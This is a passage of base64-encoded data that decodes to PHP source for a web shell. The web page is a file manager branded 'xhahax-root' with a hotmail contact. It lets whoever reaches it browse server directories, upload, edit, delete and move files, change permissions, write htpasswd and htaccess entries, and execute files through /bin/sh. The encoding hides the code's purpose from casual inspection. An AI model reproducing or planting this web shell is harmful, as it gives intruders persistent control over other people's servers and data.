JGRpcmVjdG9yeSA9PSBzdWJzdHIoJHRhcmdldCwgMCwgc3RybGVuKCRkaXJlY3RvcnkpKSkgew0K
CQkJJHBhdGggLj0gc3Vic3RyKCR0YXJnZXQsIHN0cmxlbigkZGlyZWN0b3J5KSk7DQoJCQlicmVh
azsNCgkJfSBlbHNlIHsNCgkJCSRwYXRoIC49ICcuLicgLiAkZGVsaW07DQoJCQkkZGlyZWN0b3J5
ID0gc3Vic3RyKCRkaXJlY3RvcnksIDAsIHN0cnJwb3Moc3Vic3RyKCRkaXJlY3RvcnksIDAsIC0x
KSwgJGRlbGltKSArIDEpOw0KCQl9DQoJfQ0KCWlmICgkcGF0aCA9PSAnJykgJHBhdGggPSAnLic7
DQoNCglyZXR1cm4gJHBhdGg7DQoNCn0NCg0KZnVuY3Rpb24gc2ltcGxpZnlfcGF0aCAoJHBhdGgp
IHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKEBmaWxlX2V4aXN0cygkcGF0aCkgJiYgZnVuY3Rp
b25fZXhpc3RzKCdyZWFscGF0aCcpICYmIEByZWFscGF0aCgkcGF0aCkgIT0gJycpIHsNCgkJJHBh
dGggPSByZWFscGF0aCgkcGF0aCk7DQoJCWlmIChAaXNfZGlyKCRwYXRoKSkgew0KCQkJcmV0dXJu
IGFkZHNsYXNoKCRwYXRoKTsNCgkJfSBlbHNlIHsNCgkJCXJldHVybiAkcGF0aDsNCgkJfQ0KCX0N
Cg0KCSRwYXR0ZXJuICA9ICRkZWxpbSAuICcuJyAuICRkZWxpbTsNCg0KCWlmIChAaXNfZGlyKCRw
YXRoKSkgew0KCQkkcGF0aCA9IGFkZHNsYXNoKCRwYXRoKTsNCgl9DQoNCgl3aGlsZSAoc3RycG9z
KCRwYXRoLCAkcGF0dGVybikgIT09IGZhbHNlKSB7DQoJCSRwYXRoID0gc3RyX3JlcGxhY2UoJHBh
dHRlcm4sICRkZWxpbSwgJHBhdGgpOw0KCX0NCg0KCSRlID0gYWRkc2xhc2hlcygkZGVsaW0pOw0K
CSRyZWdleCA9ICRlIC4gJygoXC5bXlwuJyAuICRlIC4gJ11bXicgLiAkZSAuICddKil8KFwuXC5b
XicgLiAkZSAuICddKyl8KFteXC5dW14nIC4gJGUgLiAnXSopKScgLiAkZSAuICdcLlwuJyAuICRl
Ow0KDQoJd2hpbGUgKGVyZWcoJHJlZ2V4LCAkcGF0aCkpIHsNCgkJJHBhdGggPSBlcmVnX3JlcGxh
Y2UoJHJlZ2V4LCAkZGVsaW0sICRwYXRoKTsNCgl9DQoJDQoJcmV0dXJuICRwYXRoOw0KDQp9DQoN
CmZ1bmN0aW9uIGh1bWFuX2ZpbGVzaXplICgkZmlsZXNpemUpIHsNCg0KCSRzdWZmaWNlcyA9ICdr
TUdUUEUnOw0KDQoJJG4gPSAwOw0KCXdoaWxlICgkZmlsZXNpemUgPj0gMTAwMCkgew0KCQkkZmls
ZXNpemUgLz0gMTAyNDsNCgkJJG4rKzsNCgl9DQoNCgkkZmlsZXNpemUgPSByb3VuZCgkZmlsZXNp
emUsIDMgLSBzdHJwb3MoJGZpbGVzaXplLCAnLicpKTsNCg0KCWlmIChzdHJwb3MoJGZpbGVzaXpl
LCAnLicpICE9PSBmYWxzZSkgew0KCQl3aGlsZSAoaW5fYXJyYXkoc3Vic3RyKCRmaWxlc2l6ZSwg
LTEsIDEpLCBhcnJheSgnMCcsICcuJykpKSB7DQoJCQkkZmlsZXNpemUgPSBzdWJzdHIoJGZpbGVz
aXplLCAwLCBzdHJsZW4oJGZpbGVzaXplKSAtIDEpOw0KCQl9DQoJfQ0KDQoJJHN1ZmZpeCA9ICgo
JG4gPT0gMCkgPyAnJyA6IHN1YnN0cigkc3VmZmljZXMsICRuIC0gMSwgMSkpOw0KDQoJcmV0dXJu
ICRmaWxlc2l6ZSAuICIgeyRzdWZmaXh9QiI7DQoNCn0NCg0KZnVuY3Rpb24gc3RyaXAgKCYkc3Ry
KSB7DQoJJHN0ciA9IHN0cmlwc2xhc2hlcygkc3RyKTsNCn0NCg0KLyogLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LSAqLw0KDQpmdW5jdGlvbiBsaXN0aW5nX3BhZ2UgKCRtZXNzYWdlID0gbnVsbCkgew0KCWdsb2Jh
bCAkc2VsZiwgJGRpcmVjdG9yeSwgJHNvcnQsICRyZXZlcnNlOw0KDQoJaHRtbF9oZWFkZXIoKTsN
Cg0KCSRsaXN0ID0gZ2V0bGlzdCgkZGlyZWN0b3J5KTsNCg0KCWlmIChhcnJheV9rZXlfZXhpc3Rz
KCdzb3J0JywgJF9HRVQpKSAkc29ydCA9ICRfR0VUWydzb3J0J107IGVsc2UgJHNvcnQgPSAnZmls
ZW5hbWUnOw0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdyZXZlcnNlJywgJF9HRVQpICYmICRfR0VU
WydyZXZlcnNlJ10gPT0gJ3RydWUnKSAkcmV2ZXJzZSA9IHRydWU7IGVsc2UgJHJldmVyc2UgPSBm
YWxzZTsNCg0KCXNvcnRsaXN0KCRsaXN0LCAkc29ydCwgJHJldmVyc2UpOw0KDQoJZWNobyAnPGI+
PHU+eGhhaGF4LXJvb3QgPD4geDdfODgoYXQpaG90bWFpbChkb3QpY29tPC91PjwvYj48L2gxPg0K
DQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IicgLiAkc2VsZiAu
ICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBpZD0ibWFpbiI+DQonOw0KDQoJZGlyZWN0b3J5
X2Nob2ljZSgpOw0KDQoJaWYgKCFlbXB0eSgkbWVzc2FnZSkpIHsNCgkJc3BhY2VyKCk7DQoJCWVj
aG8gJG1lc3NhZ2U7DQoJfQ0KDQoJaWYgKEBpc193cml0YWJsZSgkZGlyZWN0b3J5KSkgew0KCQl1
cGxvYWRfYm94KCk7DQoJCWNyZWF0ZV9ib3goKTsNCgl9IGVsc2Ugew0KCQlzcGFjZXIoKTsNCgl9
DQoNCglpZiAoJGxpc3QpIHsNCgkJbGlzdGluZygkbGlzdCk7DQoJfSBlbHNlIHsNCgkJZWNobyBl
cnJvcignbm90X3JlYWRhYmxlJywgJGRpcmVjdG9yeSk7DQoJfQ0KDQoJZWNobyAnPC90YWJsZT4N
Cg0KPC9mb3JtPg0KDQonOw0KDQoJaHRtbF9mb290ZXIoKTsNCg0KfQ0KDQpmdW5jdGlvbiBsaXN0
aW5nICgkbGlzdCkgew0KCWdsb2JhbCAkZGlyZWN0b3J5LCAkaG9tZWRpciwgJHNvcnQsICRyZXZl
cnNlLCAkd2luLCAkY29scywgJGRhdGVfZm9ybWF0LCAkc2VsZjsNCg0KCWVjaG8gJzx0ciBjbGFz
cz0ibGlzdGluZyI+DQoJPHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHZlcnRpY2FsLWFs
aWduOiBtaWRkbGUiPjxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPXNtaWxleSIgYWx0PSJz
bWlsZXkiIC8+PC90aD4NCic7DQoNCgkkZCA9ICdkaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5
KSAuICcmYW1wOyc7DQoNCglpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdmaWxlbmFtZScpICRy
ID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCWVjaG8gIlx0PHRoIGNsYXNz
PVwiZmlsZW5hbWVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9ZmlsZW5hbWUkclwiPiIgLiB3
b3JkKCdmaWxlbmFtZScpIC4gIjwvYT48L3RoPlxuIjsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNv
cnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgll
Y2hvICJcdDx0aCBjbGFzcz1cInNpemVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9c2l6ZSRy
XCI+IiAuIHdvcmQoJ3NpemUnKSAuICI8L2E+PC90aD5cbiI7DQoNCglpZiAoISR3aW4pIHsNCg0K
CQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdwZXJtaXNzaW9uJykgJHIgPSAnJmFtcDtyZXZl
cnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwicGVybWlzc2lv
bl9oZWFkZXJcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9cGVybWlzc2lvbiRyXCI+IiAuIHdv
cmQoJ3Blcm1pc3Npb24nKSAuICI8L2E+PC90aD5cbiI7DQoNCgkJaWYgKCEkcmV2ZXJzZSAmJiAk
c29ydCA9PSAnb3duZXInKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsN
CgkJZWNobyAiXHQ8dGggY2xhc3M9XCJvd25lclwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1v
d25lciRyXCI+IiAuIHdvcmQoJ293bmVyJykgLiAiPC9hPjwvdGg+XG4iOw0KDQoJCWlmICghJHJl
dmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNl
ICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwiZ3JvdXBcIj48YSBocmVmPVwiJHNlbGY/
eyRkfXNvcnQ9Z3JvdXAkclwiPiIgLiB3b3JkKCdncm91cCcpIC4gIjwvYT48L3RoPlxuIjsNCg0K
CX0NCg0KCWVjaG8gJwk8dGggY2xhc3M9ImZ1bmN0aW9ucyI+JyAuIHdvcmQgKCdmdW5jdGlvbnMn
KSAgLiAnPC90aD4NCjwvdHI+DQonOw0KDQoJZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRsaXN0
KTsgJGkrKykgew0KCQkkZmlsZSA9ICRsaXN0WyRpXTsNCg0KCQkkdGltZXN0YW1wcyAgPSAnbXRp
bWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ210aW1lJ10pIC4gJywgJzsNCgkJJHRp
bWVzdGFtcHMgLj0gJ2F0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydhdGltZSdd
KSAuICcsICc7DQoJCSR0aW1lc3RhbXBzIC49ICdjdGltZTogJyAuIGRhdGUoJGRhdGVfZm9ybWF0
LCAkZmlsZVsnY3RpbWUnXSk7DQoNCgkJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nIj4NCgk8dGQg
Y2xhc3M9ImNoZWNrYm94Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImNoZWNrZWQnIC4g
JGkgLiAnIiB2YWx1ZT0idHJ1ZSIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz48L3Rk
Pg0KCTx0ZCBjbGFzcz0iZmlsZW5hbWUiIHRpdGxlPSInIC4gaHRtbCgkdGltZXN0YW1wcykgLiAn
Ij4nOw0KDQoJCWlmICgkZmlsZVsnaXNfbGluayddKSB7DQoNCgkJCWVjaG8gJzxpbWcgc3JjPSIn
IC4gJHNlbGYgLiAnP2ltYWdlPWxpbmsiIGFsdD0ibGluayIgLz4gJzsNCgkJCWVjaG8gaHRtbCgk
ZmlsZVsnZmlsZW5hbWUnXSkgLiAnICZyYXJyOyAnOw0KDQoJCQkkcmVhbF9maWxlID0gcmVsYXRp
dmUyYWJzb2x1dGUoJGZpbGVbJ3RhcmdldCddLCAkZGlyZWN0b3J5KTsNCg0KCQkJaWYgKEBpc19y
ZWFkYWJsZSgkcmVhbF9maWxlKSkgew0KCQkJCWlmIChAaXNfZGlyKCRyZWFsX2ZpbGUpKSB7DQoJ
CQkJCWVjaG8gJ1sgPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkcmVh
bF9maWxlKSAuICciPicgLiBodG1sKCRmaWxlWyd0YXJnZXQnXSkgLiAnPC9hPiBdJzsNCgkJCQl9
IGVsc2Ugew0KCQkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFt
cDtmaWxlPScgLiB1cmxlbmNvZGUoJHJlYWxfZmlsZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFy
Z2V0J10pIC4gJzwvYT4nOw0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJZWNobyBodG1sKCRmaWxl
Wyd0YXJnZXQnXSk7DQoJCQl9DQoNCgkJfSBlbHNlaWYgKCRmaWxlWydpc19kaXInXSkgew0KDQoJ
CQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1mb2xkZXIiIGFsdD0iZm9sZGVy
IiAvPiBbICc7DQoJCQlpZiAoJGZpbGVbJ2lzX3JlYWRhYmxlJ10gJiYgJGZpbGVbJ2lzX2V4ZWN1
dGFibGUnXSkgew0KCQkJCWVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxl
bmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAn
PC9hPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7DQoJ
CQl9DQoJCQllY2hvICcgXSc7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYgKHN1YnN0cigkZmlsZVsn
ZmlsZW5hbWUnXSwgMCwgMSkgPT0gJy4nKSB7DQoJCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2Vs
ZiAuICc/aW1hZ2U9aGlkZGVuX2ZpbGUiIGFsdD0iaGlkZGVuIGZpbGUiIC8+ICc7DQoJCQl9IGVs
c2Ugew0KCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZpbGUiIGFsdD0i
ZmlsZSIgLz4gJzsNCgkJCX0NCg0KCQkJaWYgKCRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lz
X3JlYWRhYmxlJ10pIHsNCgkJCSAgIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9u
PXZpZXcmYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICciPicgLiBodG1s
KCRmaWxlWydmaWxlbmFtZSddKSAuICc8L2E+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyBodG1s
KCRmaWxlWydmaWxlbmFtZSddKTsNCgkJCX0NCg0KCQl9DQoNCgkJaWYgKCRmaWxlWydzaXplJ10g
Pj0gMTAwMCkgew0KCQkJJGh1bWFuID0gJyB0aXRsZT0iJyAuIGh1bWFuX2ZpbGVzaXplKCRmaWxl
WydzaXplJ10pIC4gJyInOw0KCQl9IGVsc2Ugew0KCQkJJGh1bWFuID0gJyc7DQoJCX0NCg0KCQll
Y2hvICJcdDx0ZCBjbGFzcz1cInNpemVcIiRodW1hbj57JGZpbGVbJ3NpemUnXX0gQjwvdGQ+XG4i
Ow0KDQoJCWlmICghJHdpbikgew0KDQoJCQllY2hvICJcdDx0ZCBjbGFzcz1cInBlcm1pc3Npb25c
IiB0aXRsZT1cIiIgLiBkZWNvY3QoJGZpbGVbJ3Blcm1pc3Npb24nXSkgLiAnIj4nOw0KDQoJCQkk
bCA9ICEkZmlsZVsnaXNfbGluayddICYmICghZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXR1aWQn
KSB8fCAkZmlsZVsnb3duZXInXSA9PSBwb3NpeF9nZXR1aWQoKSk7DQoJCQlpZiAoJGwpIGVjaG8g
JzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXBlcm1pc3Npb24mYW1wO2ZpbGU9JyAuIHVy
bGVuY29kZSgkZmlsZVsncGF0aCddKSAuICcmYW1wO2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3Rv
cnkpIC4gJyI+JzsNCgkJCWVjaG8gaHRtbChwZXJtaXNzaW9uX29jdGFsMnN0cmluZygkZmlsZVsn
cGVybWlzc2lvbiddKSk7DQoJCQlpZiAoJGwpIGVjaG8gJzwvYT4nOw0KDQoJCQllY2hvICI8L3Rk
PlxuIjsNCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ293bmVyX25hbWUnLCAkZmlsZSkpIHsN
CgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3du
ZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJ
ZWNobyAiXHQ8dGQgY2xhc3M9XCJvd25lclwiPnskZmlsZVsnb3duZXInXX08L3RkPlxuIjsNCgkJ
CX0NCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ2dyb3VwX25hbWUnLCAkZmlsZSkpIHsNCgkJ
CQllY2hvICJcdDx0ZCBjbGFzcz1cImdyb3VwXCIgdGl0bGU9XCJnaWQ6IHskZmlsZVsnZ3JvdXAn
XX1cIj57JGZpbGVbJ2dyb3VwX25hbWUnXX08L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNo
byAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlxuIjsNCgkJCX0N
Cg0KCQl9DQoNCgkJZWNobyAnCTx0ZCBjbGFzcz0iZnVuY3Rpb25zIj4NCgkJPGlucHV0IHR5cGU9
ImhpZGRlbiIgbmFtZT0iZmlsZScgLiAkaSAuICciIHZhbHVlPSInIC4gaHRtbCgkZmlsZVsncGF0
aCddKSAuICciIC8+DQonOw0KDQoJCSRhY3Rpb25zID0gYXJyYXkoKTsNCgkJaWYgKGZ1bmN0aW9u
X2V4aXN0cygnc3ltbGluaycpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2NyZWF0ZV9zeW1saW5rJzsN
CgkJfQ0KCQlpZiAoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGVbJ3BhdGgnXSkpKSB7DQoJCQkk
YWN0aW9uc1tdID0gJ2RlbGV0ZSc7DQoJCQkkYWN0aW9uc1tdID0gJ3JlbmFtZSc7DQoJCQkkYWN0
aW9uc1tdID0gJ21vdmUnOw0KCQl9DQoJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydp
c19yZWFkYWJsZSddKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2NvcHknOw0KCQkJJGFjdGlvbnNbXSA9
ICdkb3dubG9hZCc7DQoJCQlpZiAoJGZpbGVbJ2lzX3dyaXRhYmxlJ10pICRhY3Rpb25zW10gPSAn
ZWRpdCc7DQoJCX0NCgkJaWYgKCEkd2luICYmIGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpICYmICRm
aWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSAmJiBmaWxlX2V4aXN0cygn
L2Jpbi9zaCcpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2V4ZWN1dGUnOw0KCQl9DQoNCgkJaWYgKHNp
emVvZigkYWN0aW9ucykgPiAwKSB7DQoNCgkJCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwi
IG5hbWU9ImFjdGlvbicgLiAkaSAuICciIHNpemU9IjEiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPicg
LiBzdHJfcmVwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+DQonOw0KDQoJCQlmb3JlYWNo
ICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7DQoJCQkJZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCIk
YWN0aW9uXCI+IiAuIHdvcmQoJGFjdGlvbikgLiAiPC9vcHRpb24+XG4iOw0KCQkJfQ0KDQoJCQll
Y2hvICcJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5h
bWU9InN1Ym1pdCcgLiAkaSAuICciIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwn
b3RoZXJcJykiIC8+DQonOw0KDQoJCX0NCg0KCQllY2hvICcJPC90ZD4NCjwvdHI+DQonOw0KDQoJ
fQ0KDQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nX2Zvb3RlciI+DQoJPHRkIHN0eWxlPSJ0ZXh0
LWFsaWduOiByaWdodDsgdmVydGljYWwtYWxpZ246IHRvcCI+PGltZyBzcmM9IicgLiAkc2VsZiAu
ICc/aW1hZ2U9YXJyb3ciIGFsdD0iJmd0OyIgLz48L3RkPg0KCTx0ZCBjb2xzcGFuPSInIC4gKCRj
b2xzIC0gMSkgLiAnIj4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibnVtIiB2YWx1ZT0i
JyAuIHNpemVvZigkbGlzdCkgLiAnIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJm
b2N1cyIgdmFsdWU9IiIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkZGlyIiB2
YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KJzsNCg0KCSRhY3Rpb25zID0gYXJy
YXkoKTsNCglpZiAoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGVbJ3BhdGgnXSkpKSB7DQoJCSRh
Y3Rpb25zW10gPSAnZGVsZXRlJzsNCgkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsNCgl9DQoJJGFjdGlv
bnNbXSA9ICdjb3B5JzsNCg0KCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwiIG5hbWU9ImFj
dGlvbl9hbGwiIHNpemU9IjEiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcm
bmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+DQonOw0KDQoJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFj
dGlvbikgew0KCQllY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRhY3Rpb25cIj4iIC4gd29yZCgk
YWN0aW9uKSAuICI8L29wdGlvbj5cbiI7DQoJfQ0KDQoJZWNobyAnCQk8L3NlbGVjdD4NCgkJPGlu
cHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfYWxsIiB2YWx1ZT0i
ICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0K
JzsNCg0KfQ0KDQpmdW5jdGlvbiBkaXJlY3RvcnlfY2hvaWNlICgpIHsNCglnbG9iYWwgJGRpcmVj
dG9yeSwgJGhvbWVkaXIsICRjb2xzLCAkc2VsZjsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bh
bj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+DQoJCTxhIGhyZWY9IicgLiAkc2VsZiAu
ICc/ZGlyPScgLiB1cmxlbmNvZGUoJGhvbWVkaXIpIC4gJyI+JyAuIHdvcmQoJ2RpcmVjdG9yeScp
IC4gJzwvYT46DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHNpemU9IicgLiB0ZXh0
ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4g
JyIgb25mb2N1cz0iYWN0aXZhdGUoXCdkaXJlY3RvcnlcJykiIC8+DQoJCTxpbnB1dCB0eXBlPSJz
dWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9u
Zm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0K
fQ0KDQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgllY2hvICc8
dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJ1cGxvYWQiPg0KCQknIC4gd29y
ZCgnZmlsZScpIC4gJzoNCgkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgb25mb2N1
cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0i
c3VibWl0X3VwbG9hZCIgdmFsdWU9IicgLiB3b3JkKCd1cGxvYWQnKSAuICciIG9uZm9jdXM9ImFj
dGl2YXRlKFwnb3RoZXJcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9u
IGNyZWF0ZV9ib3ggKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29s
c3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImNyZWF0ZSI+DQoJCTxzZWxlY3QgbmFtZT0iY3JlYXRl
X3R5cGUiIHNpemU9IjEiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIj4NCgkJPG9wdGlv
biB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4NCgkJPG9wdGlvbiB2
YWx1ZT0iZGlyZWN0b3J5Ij4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9vcHRpb24+DQoJCTwv
c2VsZWN0Pg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9
ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJz
dWJtaXRfY3JlYXRlIiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZScpIC4gJyIgb25mb2N1cz0iYWN0
aXZhdGUoXCdjcmVhdGVcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9u
IGVkaXQgKCRmaWxlKSB7DQoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkZWRpdGNvbHMsICRl
ZGl0cm93cywgJGFwYWNoZSwgJGh0cGFzc3dkLCAkaHRhY2Nlc3M7DQoNCglodG1sX2hlYWRlcigp
Ow0KDQoJZWNobyAnPGgyIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAzcHQiPicgLiBodG1sKCRmaWxl
KSAuICc8L2gyPg0KDQo8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+
DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCg0K
CTx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjb2xzPSInIC4gJGVkaXRjb2xzIC4gJyIgcm93cz0i
JyAuICRlZGl0cm93cyAuICciPic7DQoNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygnY29udGVudCcs
ICRfUE9TVCkpIHsNCgkJZWNobyAkX1BPU1RbJ2NvbnRlbnQnXTsNCgl9IGVsc2Ugew0KCQkkZiA9
IGZvcGVuKCRmaWxlLCAncicpOw0KCQl3aGlsZSAoIWZlb2YoJGYpKSB7DQoJCQllY2hvIGh0bWwo
ZnJlYWQoJGYsIDgxOTIpKTsNCgkJfQ0KCQlmY2xvc2UoJGYpOw0KCX0NCg0KCWlmICghZW1wdHko
JF9QT1NUWyd1c2VyJ10pKSB7DQoJCWVjaG8gIlxuIiAuICRfUE9TVFsndXNlciddIC4gJzonIC4g
Y3J5cHQoJF9QT1NUWydwYXNzd29yZCddKTsNCgl9DQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Jhc2lj
X2F1dGgnXSkpIHsNCgkJaWYgKCR3aW4pIHsNCgkJCSRhdXRoZmlsZSA9IHN0cl9yZXBsYWNlKCdc
XCcsICcvJywgJGRpcmVjdG9yeSkgLiAkaHRwYXNzd2Q7DQoJCX0gZWxzZSB7DQoJCQkkYXV0aGZp
bGUgPSAkZGlyZWN0b3J5IC4gJGh0cGFzc3dkOw0KCQl9DQoJCWVjaG8gIlxuQXV0aFR5cGUgQmFz
aWNcbkF1dGhOYW1lICZxdW90O1Jlc3RyaWN0ZWQgRGlyZWN0b3J5JnF1b3Q7XG4iOw0KCQllY2hv
ICdBdXRoVXNlckZpbGUgJnF1b3Q7JyAuIGh0bWwoJGF1dGhmaWxlKSAuICImcXVvdDtcbiI7DQoJ
CWVjaG8gJ1JlcXVpcmUgdmFsaWQtdXNlcic7DQoJfQ0KDQoJZWNobyAnPC90ZXh0YXJlYT4NCg0K
CTxociAvPg0KJzsNCg0KCWlmICgkYXBhY2hlICYmIGJhc2VuYW1lKCRmaWxlKSA9PSAkaHRwYXNz
